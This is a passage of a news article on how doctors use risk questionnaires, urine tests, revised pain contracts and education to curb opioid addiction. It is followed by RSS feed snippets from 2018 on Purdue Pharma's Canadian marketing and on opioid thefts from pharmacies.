It may have, but doctors aren’t taking chances. And the lifeblood of their fight is a set of screens for addiction risk factors. Among the most popular of these tools are questionnaires. About half a dozen, such as the ORT, SOAPP-R and CAGE-AID (an adapted version of a four-question prompt originally designed to gauge alcoholism, which itself is a good predictor of opioid abuse), are becoming standard. The SOAPP-R tries to gauge how the patient feels about their use of medications, with questions like “How often have you felt a need for higher doses of medication to treat your pain?” It also gathers data on lifestyle habits that might lead to abuse. The ORT, among other things, tries to track any family history of substance abuse as a means of determining risk factors. The CAGE-AID captures how individuals in the patient’s life respond to alcohol or drug use. It asks, for instance: “Have people annoyed you by criticizing your drinking or drug use?”

They may sound boring, but the SOAPP-R and CAGE, for example, have a respective specificity (an accuracy rate with few false positives) of around 70 and 90 percent. In fact, CAGE-negative patients, scoring low on risks for opioid dependency, have been shown to get off opioid prescriptions nearly three times faster than CAGE-positive ones.

However, while questionnaires are accurate, “they aren’t lie-detector tests,” says Kominek.

Luckily, urine tests can be. Not only are they precise, but also at least one study, on Veterans Affairs patients, has shown that higher levels of implementation are associated with lower risks of suicide and overdose — although the question of whether wider testing among the general population would save lives is still contentious, requiring more evidence. For one thing, they can cost up to $ 1,000, says Schwartzstein, who’s also a speaker for the AAFP.

Opioid prescriptions may still be crucial, particularly for cancer patients, says Paice. Research results are more mixed for non-cancer pain patients: They can work over short periods of time in some cases, but prove relatively ineffective in others. A healthy doctor-patient relationship is key to ensuring that opioid prescriptions don’t lead to addictions. But that relationship has suffered in recent years as patients have complained about doctors misusing pain contracts to “fire” them, leaving them desperate. Now, health experts are devising altered versions of the contract that emphasize shared decision-making and trust-building. Yale internal medicine researcher Daniel Tobin, for instance, has led efforts to reframe the contract as a “controlled-substance agreement” that lists out common responsibilities — including discussions on dangers, costs and alternative medication options — apart from tasks the doctor and patient individually commit to.

Medical organizations are fighting for more education, for both doctors and patients. “I didn’t really get much education on pain management, or risk assessment, or identifying substance abuse disorder,” says Kominek. The AAFP, for example, recommends that more doctors get certified to be able to administer medication-assisted treatment (for both addiction and overdose). Only 4 percent of primary care physicians currently are DATA-certified. Less than half of treatment programs offer MAT, and only a third of opioid addicts at these programs receive it. Patients, the AAFP is arguing, need to learn too. Most people store opioids in plain sight, and 55 percent of addicts started with opioids gotten from family and friends. Take the average person who got opioids after their wisdom teeth were pulled, says Kominek: “How many of us still have some in our medicine cabinet?”

Doctors still face many challenges. “Evidence is” still, as the National Institutes of Health concluded in 2014, “insufficient for every clinical decision that a provider needs to make about the use of opioids for chronic pain.” But they can’t wait for that evidence to turn up. Increasingly, doctors are instead using an unlikely arsenal of weapons: humble questionnaires, painstaking education and a centuries-old reliance on body fluids to track ailments.

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]]> https://briefnews.eu/doctors-deploy-a-surprisingly-low-tech-tool-kit-against-opioids/feed/ 0 OxyContin manufacturer says it has suspended active marketing of its opioids in Canada https://briefnews.eu/oxycontin-manufacturer-says-it-has-suspended-active-marketing-of-its-opioids-in-canada/ https://briefnews.eu/oxycontin-manufacturer-says-it-has-suspended-active-marketing-of-its-opioids-in-canada/#respond Fri, 06 Jul 2018 07:09:02 +0000 http://briefnews.eu/oxycontin-manufacturer-says-it-has-suspended-active-marketing-of-its-opioids-in-canada/ USA-OPIOIDS/PURDUEPHARMA

Purdue Pharma Canada says in a letter to the federal health minister that it wants to help address the opioid crisis but the company denies any wrongdoing in the way it promoted OxyContin in Canada.

]]> https://briefnews.eu/oxycontin-manufacturer-says-it-has-suspended-active-marketing-of-its-opioids-in-canada/feed/ 0 When prescription opioids run out, users look for the supply on the streets https://briefnews.eu/when-prescription-opioids-run-out-users-look-for-the-supply-on-the-streets/ https://briefnews.eu/when-prescription-opioids-run-out-users-look-for-the-supply-on-the-streets/#respond Thu, 28 Jun 2018 12:30:43 +0000 http://briefnews.eu/when-prescription-opioids-run-out-users-look-for-the-supply-on-the-streets/ Dana MacInnis

The number of opioids reported missing to Health Canada from pharmacies and hospitals increased significantly between 2012 and late 2017, a CBC investigation found.

]]> https://briefnews.eu/when-prescription-opioids-run-out-users-look-for-the-supply-on-the-streets/feed/ 0 More than half a million prescription drugs are stolen each year – and most are opioids https://briefnews.eu/more-than-half-a-million-prescription-drugs-are-stolen-each-year-and-most-are-opioids/ https://briefnews.eu/more-than-half-a-million-prescription-drugs-are-stolen-each-year-and-most-are-opioids/#respond Wed, 27 Jun 2018 19:32:18 +0000 http://briefnews.eu/more-than-half-a-million-prescription-drugs-are-stolen-each-year-and-most-are-opioids/ Vancouver methadone pharmacy raided over unsanitary conditions

More than half a million prescriptions drugs are stolen from pharmacies each year, with the majority being highly addictive opioid painkillers that end up on the street, according to an analysis of Health Canada data done by CBC News.

]]> https://briefnews.eu/more-than-half-a-million-prescription-drugs-are-stolen-each-year-and-most-are-opioids/feed/ 0